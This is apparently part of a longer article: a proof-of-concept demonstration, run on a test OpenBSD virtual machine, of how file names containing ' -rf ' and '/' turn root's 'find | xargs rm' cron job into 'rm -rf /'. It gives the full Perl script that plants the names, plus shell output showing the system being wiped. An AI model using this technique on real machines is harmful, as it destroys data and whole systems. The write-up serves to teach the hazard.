demonstration of recursive removal

The target was a virtual machine with OpenBSD 5.3.

This is root's cron job.

0 * * * * find /var/tmp -type f -mtime +30 | xargs rm

And the script used to generate the data under /var/tmp

#!/usr/bin/perl -w

# parameter for how much data to create
# exponential loop - don't go mad
$p=13;

for ($i=0;$i<(2**$p);$i++) {
    chdir("/var/tmp") or die("chdir $!");
    $dname="";
    $t=$i;
    for ($j=0;$j<=$p;$j++) {
        $dname .= " -rf ";
        $dname .= " " if ($t%2);
        $t = int ($t/2);
    }
    for ($d=0;$d<$p;$d++) {
        mkdir($dname) or last;
        chdir($dname) or last;
    }
    $fname=" X";
    open(F, ">./$fname") or die("$! open $fname");
    close(F);
    utime(1,1, $fname);
}

Here is a shell session observing the state of the computer being set up and as the time approaches. About half of the available inodes in /var were used.

$ df -h
Filesystem     Size    Used   Avail Capacity  Mounted on
/dev/wd0a      731M   41.8M    652M     6%    /
/dev/wd0k      6.7G   18.0K    6.4G     0%    /home
/dev/wd0d      1.1G    4.0K    1.1G     0%    /tmp
/dev/wd0f      1.5G    396M    1.0G    27%    /usr
/dev/wd0g      895M    2.0K    850M     0%    /usr/X11R6
/dev/wd0h      3.2G    212K    3.1G     0%    /usr/local
/dev/wd0j      1.8G    2.0K    1.7G     0%    /usr/obj
/dev/wd0i      1.2G    2.0K    1.2G     0%    /usr/src
/dev/wd0e      1.7G    3.9M    1.6G     0%    /var
$ 
$ df -i
Filesystem  512-blocks      Used     Avail Capacity iused   ifree  %iused  Mounted on
/dev/wd0a      1496188     85708   1335672     6%    1599  117439     1%   /
/dev/wd0k     14129788        36  13423264     0%      10  909428     0%   /home
/dev/wd0d      2386300         8   2266980     0%       3  155899     0%   /tmp
/dev/wd0f      3153148    810688   2184804    27%   13336  194534     6%   /usr
/dev/wd0g      1833212         4   1741548     0%       1  129917     0%   /usr/X11R6
/dev/wd0h      6807676       424   6466872     0%     106  441620     0%   /usr/local
/dev/wd0j      3686716         4   3502380     0%       1  259837     0%   /usr/obj
/dev/wd0i      2596156         4   2466348     0%       1  181885     0%   /usr/src
/dev/wd0e      3647196      8008   3456832     0%     374  233480     0%   /var
$ cd /var/tmp
$ ls -latr
total 12
drwxrwxrwt   2 root  wheel  512 Mar 13  2013 vi.recover
drwxr-xr-x  22 root  wheel  512 Mar 13  2013 ..
drwxrwxrwt   3 root  wheel  512 Mar 13  2013 .
$ 
$ time ~/mkrfrf
    4m30.30s real     0m0.88s user     2m23.68s system
$ df -h .
Filesystem     Size    Used   Avail Capacity  Mounted on
/dev/wd0e      1.7G    213M    1.4G    13%    /var
$ df -i .
Filesystem  512-blocks      Used     Avail Capacity iused   ifree  %iused  Mounted on
/dev/wd0e      3647196    435588   3029252    13%  115062  118792    49%   /var
$
$ find . | wc
  114690 12795906 66281487
$ 
$ while sleep 20
> do
>    ps auxw | grep rm && df -i
>    date
> done
demo       7490  0.0  0.0   228   132 p0  R+     1:55AM    0:00.01 grep rm
Filesystem  512-blocks      Used     Avail Capacity iused   ifree  %iused  Mounted on
/dev/wd0a      1496188     85708   1335672     6%    1599  117439     1%   /
/dev/wd0k     14129788        36  13423264     0%      10  909428     0%   /home
/dev/wd0d      2386300         8   2266980     0%       3  155899     0%   /tmp
/dev/wd0f      3153148    810688   2184804    27%   13336  194534     6%   /usr
/dev/wd0g      1833212         4   1741548     0%       1  129917     0%   /usr/X11R6
/dev/wd0h      6807676       424   6466872     0%     106  441620     0%   /usr/local
/dev/wd0j      3686716         4   3502380     0%       1  259837     0%   /usr/obj
/dev/wd0i      2596156         4   2466348     0%       1  181885     0%   /usr/src
/dev/wd0e      3647196    435588   3029252    13%  115062  118792    49%   /var
Tue Apr 15 01:55:42 BST 2014
Tue Apr 15 01:55:57 BST 2014
Tue Apr 15 01:56:12 BST 2014
Tue Apr 15 01:56:27 BST 2014
Tue Apr 15 01:56:42 BST 2014
Tue Apr 15 01:56:57 BST 2014
Tue Apr 15 01:57:12 BST 2014
Tue Apr 15 01:57:27 BST 2014
Tue Apr 15 01:57:42 BST 2014
Tue Apr 15 01:57:57 BST 2014
Tue Apr 15 01:58:12 BST 2014
Tue Apr 15 01:58:27 BST 2014
Tue Apr 15 01:58:42 BST 2014
Tue Apr 15 01:58:57 BST 2014
Tue Apr 15 01:59:12 BST 2014
Tue Apr 15 01:59:27 BST 2014
Tue Apr 15 01:59:42 BST 2014
Tue Apr 15 01:59:57 BST 2014
ksh: grep: not found
Tue Apr 15 02:00:12 BST 2014
ps: ksh: grep: not found
warning: /var/run/dev.db: No such file or directory
Tue Apr 15 01:00:27 GMT 2014
ps: ksh: grep: not found
warning: /var/run/dev.db: No such file or directory
Tue Apr 15 01:00:42 GMT 2014
ksh: grep: not found
ps: warning: /var/run/dev.db: No such file or directory
Tue Apr 15 01:00:58 GMT 2014
ksh: grep: not found
ps: warning: /var/run/dev.db: No such file or directory
Tue Apr 15 01:01:13 GMT 2014
ps: warning: /var/run/dev.dbksh: grep: not found
: No such file or directory
Tue Apr 15 01:01:28 GMT 2014
ksh: grep: not found
ps: warning: /var/run/dev.db: No such file or directory
Tue Apr 15 01:01:43 GMT 2014
ps: ksh: grep: not found
warning: /var/run/dev.db: No such file or directory
Tue Apr 15 01:01:58 GMT 2014
ksh: grep: not found
ps: warning: /var/run/dev.db: No such file or directory
Tue Apr 15 01:02:14 GMT 2014
ksh: ps: not found
ksh: grep: not found
ksh: date: not found
ksh: sleep: not found
$ 

My session in another window captured this command in a ps listing - exactly what the demo was aiming for.

USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND
root 15154 63.6 0.4 2056 2252 ?? R 1:00AM 1:09.19 rm -rf -rf / -rf -rf -rf -rf -rf -rf -rf -rf -rf -rf -rf -rf -rf

back to main article

version 1